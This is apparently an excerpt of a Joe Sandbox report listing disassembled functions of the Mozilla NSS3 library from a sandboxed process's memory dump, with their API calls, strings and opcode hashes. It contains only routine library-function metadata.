Part of subcall function 6C530F00: PR_GetPageSize.NSS3(6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F1B
Part of subcall function 6C530F00: PR_NewLogModule.NSS3(clock,6C530936,FFFFE8AE,?,6C4C16B7,00000000,?,6C530936,00000000,?,6C4C204A), ref: 6C530F25

free.MOZGLUE(00000000), ref: 6C65C947

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 32d25e9b5442f6851f8510ff3bfa9670435d40d84ac3b958d534e917d5b95a49
Instruction ID: 85871b9f30df958a6c0fb8739ed30ded8f17c3f98c2ed9615f4dedc91d3b80f6
Opcode Fuzzy Hash: 32d25e9b5442f6851f8510ff3bfa9670435d40d84ac3b958d534e917d5b95a49
Instruction Fuzzy Hash: 9B21F4F1A00202BBEB10AF799C4569B76B8AF05358F200434E85BC2B00E735E524CBAE

Function 6C53AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C53AF47

Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C6090AB
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C6090C9
Part of subcall function 6C609090: EnterCriticalSection.KERNEL32 ref: 6C6090E5
Part of subcall function 6C609090: TlsGetValue.KERNEL32 ref: 6C609116
Part of subcall function 6C609090: LeaveCriticalSection.KERNEL32 ref: 6C60913F

FreeLibrary.KERNEL32(?), ref: 6C53AF6D
free.MOZGLUE(?), ref: 6C53AFA4
free.MOZGLUE(?), ref: 6C53AFAA
PR_ExitMonitor.NSS3 ref: 6C53AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C53AFF5
PR_ExitMonitor.NSS3 ref: 6C53B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C53B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C53B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C53B03C

Strings

Unloaded library %s, xrefs: 6C53B023
%s decr => %d, xrefs: 6C53AFF0

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 432e2ad44c5ceec7328334ad65a97334c7286baffdb3d9bf278431cb41e73473
Instruction ID: 84132945260f5a5e4e431854f4c2545222a4da88ed1a579d683d423683d2ccbd
Opcode Fuzzy Hash: 432e2ad44c5ceec7328334ad65a97334c7286baffdb3d9bf278431cb41e73473
Instruction Fuzzy Hash: 2A31E8B9B44121ABDB01DFA5EC80A19B775EF4631CF145225E80D97A11F322F824CBA9

Function 6C598680 Relevance: 21.1, APIs: 14, Instructions: 91stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000028,00000000,-00000001,?,00000000,?,6C5455D0,00000000,00000000), ref: 6C59868B
PR_NewLock.NSS3(00000000,00000000), ref: 6C5986A0

Part of subcall function 6C6098D0: calloc.MOZGLUE(00000001,00000084,6C530936,00000001,?,6C53102C), ref: 6C6098E5

PR_NewCondVar.NSS3(00000000,00000000,00000000), ref: 6C5986B2

Part of subcall function 6C52BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C5321BC), ref: 6C52BB8C

PR_NewCondVar.NSS3(00000000,?,00000000,00000000), ref: 6C5986C8

Part of subcall function 6C52BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C52BBEB
Part of subcall function 6C52BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C52BBFB
Part of subcall function 6C52BB80: GetLastError.KERNEL32 ref: 6C52BC03
Part of subcall function 6C52BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C52BC19
Part of subcall function 6C52BB80: free.MOZGLUE(00000000), ref: 6C52BC22

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00000000,00000000), ref: 6C5986E2
malloc.MOZGLUE(00000001,?,?,?,00000000,00000000), ref: 6C5986EC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,00000000), ref: 6C598700
DeleteCriticalSection.KERNEL32(-0000000C,?,?,00000000,00000000), ref: 6C59871F
free.MOZGLUE(00000000,?,?,00000000,00000000), ref: 6C598726
DeleteCriticalSection.KERNEL32(?,?,?,?,00000000,00000000), ref: 6C598743
free.MOZGLUE(?,?,?,?,00000000,00000000), ref: 6C59874A
DeleteCriticalSection.KERNEL32(-0000001C,?,00000000,00000000), ref: 6C598759
free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C598760
free.MOZGLUE(00000000,00000000,00000000), ref: 6C59876C

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$CriticalSection$DeleteErrorcalloc$Cond$CountInitializeLastLockSpinmallocstrcpystrlen
String ID:
API String ID: 1802479574-0
Opcode ID: 8317b2ebf808f6eb3d6f8b45c405d9c61c73b408fcb528c9bd02ceab3850672b
Instruction ID: 8147abe1e8fb4081d6c96037dde19b04362b70d1be90f8929e1e3b27b3609df2
Opcode Fuzzy Hash: 8317b2ebf808f6eb3d6f8b45c405d9c61c73b408fcb528c9bd02ceab3850672b
Instruction Fuzzy Hash: 5F21E7F5B006436BEF00AF798C4995B7AA8AF41298F140535F82BC7B41EB36D414C7AA

Function 6C586C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C58781D,00000000,6C57BE2C,?,6C586B1D,?,?,?,?,00000000,00000000,6C58781D), ref: 6C586C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C58781D,?,6C57BE2C,?), ref: 6C586C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C58781D), ref: 6C586C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C586C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C586C96

Part of subcall function 6C531240: TlsGetValue.KERNEL32(00000040,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531267
Part of subcall function 6C531240: EnterCriticalSection.KERNEL32(?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C53127C
Part of subcall function 6C531240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C531291
Part of subcall function 6C531240: PR_Unlock.NSS3(?,?,?,?,6C53116C,NSPR_LOG_MODULES), ref: 6C5312A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C586CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6C586C91
dbm, xrefs: 6C586CA4
sql:, xrefs: 6C586C52
extern:, xrefs: 6C586C7E
dbm:, xrefs: 6C586C3A
rdb:, xrefs: 6C586C69

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: c9f8f7967d3098e61c81f6007729cfb507d6cc73657a556976a068b21e9be378
Instruction ID: c0388a63adf5e6b4dbe1added6f4572bbfced3f1a51614ba28268de8c6deaa3e
Opcode Fuzzy Hash: c9f8f7967d3098e61c81f6007729cfb507d6cc73657a556976a068b21e9be378
Instruction Fuzzy Hash: 17018FB17033227BFB102E7B5C8AF26255C9B51158F140431FE0AE0981EEA6E92584BD

Function 6C594E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C5578F8), ref: 6C594E6D

Part of subcall function 6C5309E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C5306A2,00000000,?), ref: 6C5309F8
Part of subcall function 6C5309E0: malloc.MOZGLUE(0000001F), ref: 6C530A18
Part of subcall function 6C5309E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C530A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C5578F8), ref: 6C594ED9

Part of subcall function 6C585920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C587703,?,00000000,00000000), ref: 6C585942
Part of subcall function 6C585920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C587703), ref: 6C585954
Part of subcall function 6C585920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C58596A
Part of subcall function 6C585920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C585984
Part of subcall function 6C585920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C585999
Part of subcall function 6C585920: free.MOZGLUE(00000000), ref: 6C5859BA
Part of subcall function 6C585920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C5859D3
Part of subcall function 6C585920: free.MOZGLUE(00000000), ref: 6C5859F5
Part of subcall function 6C585920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C585A0A
Part of subcall function 6C585920: free.MOZGLUE(00000000), ref: 6C585A2E
Part of subcall function 6C585920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C585A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594EB3

Part of subcall function 6C594820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C594EB8,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C59484C
Part of subcall function 6C594820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C594EB8,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C59486D
Part of subcall function 6C594820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C594EB8,?), ref: 6C594884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594EC0

Part of subcall function 6C594470: TlsGetValue.KERNEL32(00000000,?,6C557296,00000000), ref: 6C594487
Part of subcall function 6C594470: EnterCriticalSection.KERNEL32(?,?,?,6C557296,00000000), ref: 6C5944A0
Part of subcall function 6C594470: PR_Unlock.NSS3(?,?,?,?,6C557296,00000000), ref: 6C5944BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C594F8F
PK11_UpdateSlotAttribute.NSS3(?,6C66DCB0,00000000), ref: 6C594FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C59501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C5578F8), ref: 6C59506B

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 5585f4a333a30418885bdba22dbf644378d571f0e2b42e542c33ec96a9c3db27
Instruction ID: 9f79d44325f165861236a0ebed843deba2e09f01d850bf8b284c3315be20f1b0
Opcode Fuzzy Hash: 5585f4a333a30418885bdba22dbf644378d571f0e2b42e542c33ec96a9c3db27
Instruction Fuzzy Hash: EF51E3B1900242DBDB119F26EC45A9B37B4FF4535DF180675E81A86B11F731ED248A92

Function 6C65ABB0 Relevance: 19.7, APIs: 13, Instructions: 173COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C65ABD5
_PR_MD_UNLOCK.NSS3(?), ref: 6C65AC21

Part of subcall function 6C6070F0: LeaveCriticalSection.KERNEL32(6C650C7B), ref: 6C60710D

EnterCriticalSection.KERNEL32(?), ref: 6C65AC44
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C65AC6E
_PR_MD_UNLOCK.NSS3(?), ref: 6C65AC97
EnterCriticalSection.KERNEL32(?), ref: 6C65ACBF
PR_NewCondVar.NSS3(?), ref: 6C65ACDB
_PR_MD_UNLOCK.NSS3(?), ref: 6C65AD0D
PR_SetPollableEvent.NSS3(?), ref: 6C65AD18
EnterCriticalSection.KERNEL32(?), ref: 6C65AD31

Part of subcall function 6C609890: TlsGetValue.KERNEL32(?,?,?,6C6097EB), ref: 6C60989E

_PR_MD_UNLOCK.NSS3(?), ref: 6C65AD89
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C65AD98
_PR_MD_UNLOCK.NSS3(?), ref: 6C65ADC5

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$Enter$CondErrorEventLeavePollableValue
String ID:
API String ID: 829741924-0
Opcode ID: 8cd81c02f34db53dd2fef39682b0a588be46e07a8a3079a84ead69596576f2db
Instruction ID: 6e1283be8c502e0da4ecde0270dcc03ab7e735f4b9141b77c5e686a366d1d699
Opcode Fuzzy Hash: 8cd81c02f34db53dd2fef39682b0a588be46e07a8a3079a84ead69596576f2db
Instruction Fuzzy Hash: 4C61AFB29006009FC710AF25C980756B7F5FF4531DF698A29D85A6BB12E731FC98CB98

Function 6C53ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C53ACE2
malloc.MOZGLUE(00000001), ref: 6C53ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C53AD02
TlsGetValue.KERNEL32 ref: 6C53AD3C
calloc.MOZGLUE(00000001,?), ref: 6C53AD8C
PR_Unlock.NSS3 ref: 6C53ADC0
free.MOZGLUE(00000000), ref: 6C53AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C53AE58
free.MOZGLUE(00000000), ref: 6C53AE69
free.MOZGLUE(?), ref: 6C53AE78
PR_Unlock.NSS3 ref: 6C53AE8C
free.MOZGLUE(?), ref: 6C53AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C53AEC7

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 0dcc126c18f991011187b21dcce6505308e8645f7033c068a8217bf0fe2a3224
Instruction ID: 627c898dc32520ef77867a933b1aea5a925c88398db588c9d8fbebc725d4d506
Opcode Fuzzy Hash: 0dcc126c18f991011187b21dcce6505308e8645f7033c068a8217bf0fe2a3224
Instruction Fuzzy Hash: 0151C2B0E00226DBDF01DFDADC816AEB774BB46349F141825D809A7B50F331A954CBEA

Function 6C614C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C614CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C614CFD
sqlite3_value_text16.NSS3(?), ref: 6C614D44

Strings

bad parameter or other API misuse, xrefs: 6C614D05
no more rows available, xrefs: 6C614D2E
abort due to ROLLBACK, xrefs: 6C614D27, 6C614D33
invalid, xrefs: 6C614CF1
out of memory, xrefs: 6C614C78, 6C614C9E
another row available, xrefs: 6C614D20
unknown error, xrefs: 6C614D56
API call with %s database connection pointer, xrefs: 6C614CF6

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: c1bb6f703043f790e7cbb8eee620cd1c68b07486f268be03f5c3eb68efc6e81f
Instruction ID: f791cebd7868a3df0a7e45a1ba99927be40350b37e4fbc65d68c65c3ab56b8f6
Opcode Fuzzy Hash: c1bb6f703043f790e7cbb8eee620cd1c68b07486f268be03f5c3eb68efc6e81f
Instruction Fuzzy Hash: 823166B2E0C911A7DB084A2DA8017F573A17B8231EF250529D4244BF24DBE1AC2287EE

Function 6C4E2450 Relevance: 19.2, APIs: 15, Instructions: 440COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4E24BA
LeaveCriticalSection.KERNEL32(?), ref: 6C4E250D
EnterCriticalSection.KERNEL32(?), ref: 6C4E2554
LeaveCriticalSection.KERNEL32(?), ref: 6C4E25A7
EnterCriticalSection.KERNEL32(?), ref: 6C4E2609
LeaveCriticalSection.KERNEL32(?), ref: 6C4E265F
EnterCriticalSection.KERNEL32(?), ref: 6C4E26A2
LeaveCriticalSection.KERNEL32(?), ref: 6C4E26F5
EnterCriticalSection.KERNEL32(?), ref: 6C4E2764
LeaveCriticalSection.KERNEL32(?), ref: 6C4E2898
EnterCriticalSection.KERNEL32(?), ref: 6C4E28D0
EnterCriticalSection.KERNEL32(?), ref: 6C4E2948
LeaveCriticalSection.KERNEL32(?), ref: 6C4E299B
EnterCriticalSection.KERNEL32(?), ref: 6C4E29E2
LeaveCriticalSection.KERNEL32(?), ref: 6C4E2A31

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: CriticalSection$Enter$Leave
String ID:
API String ID: 2801635615-0
Opcode ID: 14a8919b1b9cf502ea012c414dfb6d103931b11bce07f88aa0317a0f87959de4
Instruction ID: 6f9d778a3a24958cf98d0b863aead595ea08be9b9914c08afc9008bab5bfdd5b
Opcode Fuzzy Hash: 14a8919b1b9cf502ea012c414dfb6d103931b11bce07f88aa0317a0f87959de4
Instruction Fuzzy Hash: 47F17E32A01512DBDB14DFA3E9CDE6E3770BB4B316F1A0129D80657700DF39A952CB9A

Function 6C544880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5448A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C5448C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C5448D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C5448FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C544908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C544947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C54496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C544988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C668DAC,?), ref: 6C5449DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5449FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C544ACB

Memory Dump Source

Source File: 00000004.00000002.3060982509.000000006C4C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4C0000, based on PE: true

Associated: 00000004.00000002.3060906936.000000006C4C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061181741.000000006C65F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061248390.000000006C69E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061522595.000000006C69F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061646963.000000006C6A0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.3061770240.000000006C6A5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c4c0000_QCOQEKY6WEL3K5GC9727N7E.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 3d4db55001f81f945c00483bb7f524e78f8e170916013347958b42bbb82c621d
Instruction ID: d88fd751448d6bafc95be1edbc8b7170a03220d1331d64ca48b2e6db46e641da
Opcode Fuzzy Hash: 3d4db55001f81f945c00483bb7f524e78f8e170916013347958b42bbb82c621d
Instruction Fuzzy Hash: 5151F3B1A803418BEB10CF66DC4179B77E6EF8130CF10C529E959AAB91E771D818CB66

Function 6C612D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C612D9F

Part of subcall function 6C4CCA30: EnterCriticalSection.KERNEL32(?,?,?,6C52F9C9,?,6C52F4DA,6C52F9C9,?,?,6C4F369A), ref: 6C4CCA7A
Part of subcall function 6C4CCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C4CCB26

sqlite3_exec.NSS3(?,?,6C612F70,?,?), ref: 6C612DF9
sqlite3_free.NSS3(00000000), ref: 6C612E2C
sqlite3_free.NSS3(?), ref: 6C612E3A
sqlite3_free.NSS3(?), ref: 6C612E52
sqlite3_mprintf.NSS3(6C67AAF9,?), ref: 6C612E62
sqlite3_free.NSS3(?), ref: 6C612E70
sqlite3_free.NSS3(?), ref: 6C612E89
sqlite3_free.NSS3(?), ref: 6C612EBB
sqlite3_free.NSS3(?), ref: 6C612ECB
